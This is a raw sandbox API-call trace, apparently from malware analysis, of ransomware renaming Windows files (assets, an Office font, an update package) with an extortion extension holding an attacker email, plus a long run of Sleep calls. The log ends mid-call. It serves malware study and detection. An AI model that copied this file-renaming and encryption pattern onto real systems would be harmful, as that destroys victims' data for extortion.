1 [0274.826] GetProcessHeap () returned 0x630000 [0274.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba8) returned 0x6fe3bb0 [0274.826] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagemedtile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.828] Sleep (dwMilliseconds=0x1) [0274.840] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_contrast-black.png", len=0xa2 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_contrast-black.png") returned 1 [0274.840] GetProcessHeap () returned 0x630000 [0274.840] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b9c) returned 0x6fe3bb0 [0274.841] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-96_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.842] Sleep (dwMilliseconds=0x1) [0274.863] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_altform-unplated_contrast-black.png") returned 1 [0274.863] GetProcessHeap () returned 0x630000 [0274.863] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b78) returned 0x6fe3bb0 [0274.863] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-60_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.865] Sleep (dwMilliseconds=0x1) [0274.872] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_contrast-black.png", len=0xa2 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_contrast-black.png") returned 1 [0274.872] GetProcessHeap () returned 0x630000 [0274.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b6c) returned 0x6fe3bb0 [0274.872] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-40_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.873] Sleep (dwMilliseconds=0x1) [0274.895] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_altform-unplated_contrast-black.png") returned 1 [0274.895] GetProcessHeap () returned 0x630000 [0274.895] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b40) returned 0x6fe3bb0 [0274.895] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-24_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.898] Sleep (dwMilliseconds=0x1) [0274.902] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_altform-unplated_contrast-black.png") returned 1 [0274.902] GetProcessHeap () returned 0x630000 [0274.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b38) returned 0x6fe3bb0 [0274.902] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-20_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.903] Sleep (dwMilliseconds=0x1) [0274.935] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF", len=0x41 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF") returned 1 [0274.935] GetProcessHeap () returned 0x630000 [0274.935] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b14) returned 0x6fe3bb0 [0274.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rock.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0274.969] CloseHandle (hObject=0x648) returned 1 [0274.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rock.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rock.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCK.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCKTT~1.FIR")) returned 0x6d5440 [0274.977] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0274.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rock.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0274.996] GetProcessHeap () returned 0x630000 [0274.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73ba410 [0274.996] GetProcessHeap () returned 0x630000 [0274.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0274.997] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.997] ReadFile (in: hFile=0x4e0, lpBuffer=0x73ba410, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ba410*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 40 os_tid = 0x794 [0067.195] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.560] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.703] Sleep (dwMilliseconds=0x1) [0068.742] Sleep (dwMilliseconds=0x1) [0068.797] Sleep (dwMilliseconds=0x1) [0068.835] Sleep (dwMilliseconds=0x1) [0068.889] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.981] Sleep (dwMilliseconds=0x1) [0069.042] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.203] Sleep (dwMilliseconds=0x1) [0069.244] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.363] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.528] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.761] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.044] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.155] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.982] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.565] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.735] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.789] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.033] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.246] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.009] Sleep (dwMilliseconds=0x1) [0084.089] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.339] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.807] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.723] Sleep (dwMilliseconds=0x1) [0092.896] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", len=0x37 | out: pbstr=0x343ff7c*="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 1 [0092.901] GetProcessHeap () returned 0x630000 [0092.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed568, Size=0xbc) returned 0x6ed6f8 [0092.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0092.901] CloseHandle (hObject=0x3f8) returned 1 [0092.926] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.926] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0092.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0092.927] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x42005a18, dwReserved1=0x0, 